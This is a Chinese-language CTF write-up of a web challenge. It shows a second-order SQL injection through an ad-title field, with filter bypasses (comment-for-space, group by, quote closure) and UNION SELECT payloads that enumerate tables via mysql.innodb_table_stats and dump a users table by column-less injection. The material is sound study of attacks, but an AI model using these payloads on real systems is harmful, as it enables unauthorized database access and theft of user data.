这个界面太熟悉不过了。但爆破,dirsearch,与密码覆盖都没成功。只能注册账户了。
注册后,发现有广告申请,随便写点什么看看结果。
id=1,尝试盲注,也没成功。所以猜想注入点应该在申请广告的标题这。
查询语句 select * from 表 where name=广告名。结论:这里可以二次注入
测试过滤,有空格,"order","information","#","--+","-- q"被过滤了
1.绕过order&空格&注释符
1'/**/group/**/by/**/22,/**/'
空格用"/**/"代替
group代替order
引号代替注释符形成闭合
最后在23报错,现在构造select语句 。
2.select爆注入点
-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
3.查询库名
-1'/**/union/**/select/**/1,database(),user(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
4.绕过information,这里information_schema肯定用不了了。
InnoDb引擎
从MYSQL5.5.8开始,InnoDB成为其默认存储引擎。而在MYSQL5.6以上的版本中,inndb增加 了innodb_index_stats和innodb_table_stats两张表,这两张表中都存储了数据库和其数据表的信 息,但是没有存储列名。
sys数据库
在5.7以上的MYSQL中,新增了sys数据库,该库的基础数据来自information_schema和 performance_chema,其本身不存储数据。可以通过其中的schema_auto_increment_columns来 获取表名。
使用mysql.innodb_table_stats代替
-1' /**/union /**/all /**/select/**/1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 /**//**/from /**//**/mysql.innodb_table_stats/**/where /**/database_name='web1'/**/'
但是mysql.innodb_table_stats只查到表名,所以不知道列名;
所以后边就有了无列名注入
ok,拿到表名就可以开始无列名注入了
-1'union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)k),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
语句是这个
-1'union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)k),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
先简化一下 ,去掉/**/
-1'union select 1,(select group_concat(b) from (select 1,2,3 as b union select * from users)k),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
union select会将前后的select语句的查询结果整合在一起,形成一张表。
select 1 as a,2,3 as b union select * from users的含义是把users表的查询结果整合在1,2,3一起。并将3这一列命名为b。
select group_concat(b) 这一句就可以把整合好的b这一列赛选出来。
详细的无列名注入可参考其他文章
本来怀着高兴的心情做做母校的题,只能说又学废一点点。